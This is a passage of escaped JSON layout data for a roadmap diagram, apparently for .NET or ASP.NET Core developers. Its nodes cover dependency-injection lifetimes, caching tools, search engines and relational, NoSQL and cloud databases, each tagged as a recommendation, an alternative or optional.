\"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 640.5854863036282,\n        \"y\": 934.4078325432465\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iM760f8Ys66-VSkMiZfIX\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 494.9283031312626,\n        \"y\": 1022.223402610819\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DI Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 494.9283031312626,\n        \"y\": 1022.223402610819\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"J9XdYLo7qJiBoL8p3c68P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 506.9283031312626,\n        \"y\": 1080.6168625008675\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Microsoft.Extensions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 506.9283031312626,\n        \"y\": 1080.6168625008675\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gbpSbjF12dBE1Tb3PX8Bz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 507.59496979792925,\n        \"y\": 1133.6168625008675\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AutoFac\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 507.59496979792925,\n        \"y\": 1133.6168625008675\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M3BW_63MFQyD8NE68dazD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 648.5854863036282,\n        \"y\": 769.4078325432466\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scoped\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 648.5854863036282,\n        \"y\": 769.4078325432466\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-N0XM0-VtCZ6QMo2YyMD-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 648.5854863036282,\n        \"y\": 822.4078325432465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Transient\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 648.5854863036282,\n        \"y\": 822.4078325432465\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y9bDrCjkDbxSIrEEtu_Mi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 648.5854863036282,\n        \"y\": 875.4078325432465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Singleton\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 648.5854863036282,\n        \"y\": 875.4078325432465\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7Nth4LOrM_KirhvjDGkgS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 65.95423833729052,\n        \"y\": 934.4078325432465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 65.95423833729052,\n        \"y\": 934.4078325432465\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8CRsr7UZszjc_fZ-4ZmIx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 28.45423833729052,\n        \"y\": 856.2469833250727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memory Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 28.45423833729052,\n        \"y\": 856.2469833250727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FV4GsPjUyAc99DnIwkkCC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -290.9580784888666,\n        \"y\": 932.4078325432465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Entity Framework 2nd Level Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 53,\n      \"style\": {\n        \"width\": 317,\n        \"height\": 53\n      },\n      \"positionAbsolute\": {\n        \"x\": -290.9580784888666,\n        \"y\": 932.4078325432465\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 317,\n        \"height\": 53\n      }\n    },\n    {\n      \"id\": \"SiG0FWWznjDg-2mIWlchy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 28.95423833729052,\n        \"y\": 799.9057185226321\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Distributed Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"d\"\n        },\n        \"oldId\": \"8CRsr7UZszjc_fZ-4ZmIx\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 28.95423833729052,\n        \"y\": 799.9057185226321\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u2pc3ZkL0EumAsbM12D5y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 42.45423833729052,\n        \"y\": 742.5144404015044\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memcached\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 50\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 42.45423833729052,\n        \"y\": 742.5144404015044\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"Ts0gJ4DdwFp48LGr4YSvM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 42.45423833729052,\n        \"y\": 685.6280498683051\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 42.45423833729052,\n        \"y\": 685.6280498683051\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ujzn_dILCA7xoupnz398l\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 171.8791275129173,\n        \"y\": 1067.182477334491\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fQ3w8REYWzQfeJ0nPyq6W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.8791275129173,\n        \"y\": 1067.182477334491\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6p5atMYw3b3bXkQuXZsDV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -271.48977149716166,\n        \"y\": 1035.361537941145\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Search Engines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -271.48977149716166,\n        \"y\": 1035.361537941145\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mK9OAwjReZoQZr1WSLRKJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.48977149716166,\n        \"y\": 1088.361537941145\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Elastic Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.48977149716166,\n        \"y\": 1088.361537941145\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2sY_p_8cOOBmZtDHO2Cmy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.48977149716166,\n        \"y\": 1142.2274230053604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Solr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.48977149716166,\n        \"y\": 1142.2274230053604\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ye9WHfwZa-Fc2YDaTCmU1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -178.48977149716166,\n        \"y\": 1142.2274230053604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sphinx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -178.48977149716166,\n        \"y\": 1142.2274230053604\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LrjmJs6_rXUkc2A7fEq24\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1035.361537941145\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1035.361537941145\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KrkV1w9b_Nwm6pe9diDRS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1088.361537941145\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cosmos DB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1088.361537941145\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Om9aQDZmnj_DN10ogwDL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1142.2274230053604\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dynamo DB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1142.2274230053604\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FnRxRY3uDZdTve1w-nBfc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1206.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Relational\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1206.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HQHSzsqBGSVYNLQ9o5EI-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1259.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1259.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"An9TLvo-I6NtC8wFU3bh4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1312.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1312.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Gs8XcsTo11MeCsiSGpjkU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1365.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MariaDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1365.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WsGwg4qdlu_vBsFEpmBvU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1418.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MySQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -271.4385474503373,\n        \"y\": 1418.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WUis4K9vduriYdVkKvM9r\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1206.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NoSQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1206.7412636056727\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-wYRa8qSuKVKo_yOTKV67\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1259.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1259.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U_-Gt5csu_hihl7ybFY-B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1312.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cassandra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1312.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3gcXaOnHL4v5OoStrTWNV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1365.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LiteDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1365.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vHcwt6ARi5YR3v-eDDjfl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -69.7527967008875,\n        \"y\": 